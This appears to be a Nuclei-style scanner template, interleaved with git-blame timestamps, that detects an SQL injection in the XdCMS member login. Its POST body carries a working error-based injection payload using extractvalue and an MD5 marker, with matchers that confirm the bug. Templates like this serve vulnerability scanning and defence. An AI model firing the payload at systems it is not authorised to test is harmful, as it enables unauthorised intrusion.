2021-03-21 10:15:44 +00:00
|
|
|
id: xdcms-sqli
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: XdCMS SQL Injection
|
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.uedbox.com/post/35188/
|
2021-03-21 10:15:44 +00:00
|
|
|
tags: sqli,xdcms
|
|
|
|
|
2022-06-30 03:18:00 +00:00
|
|
|
variables:
|
|
|
|
num: "999999999"
|
|
|
|
|
2021-03-21 10:15:44 +00:00
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/index.php?m=member&f=login_save"
|
|
|
|
headers:
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
body: |
|
2022-06-30 03:18:00 +00:00
|
|
|
username=dd' or extractvalue(0x0a,concat(0x0a,md5({{num}})))#&password=dd&submit=+%B5%C7+%C2%BC+
|
2021-03-21 10:15:44 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "Content-Type: text/html"
|
|
|
|
part: header
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-06-30 03:18:00 +00:00
|
|
|
- '{{md5({{num}})}}'
|
2021-03-21 10:15:44 +00:00
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|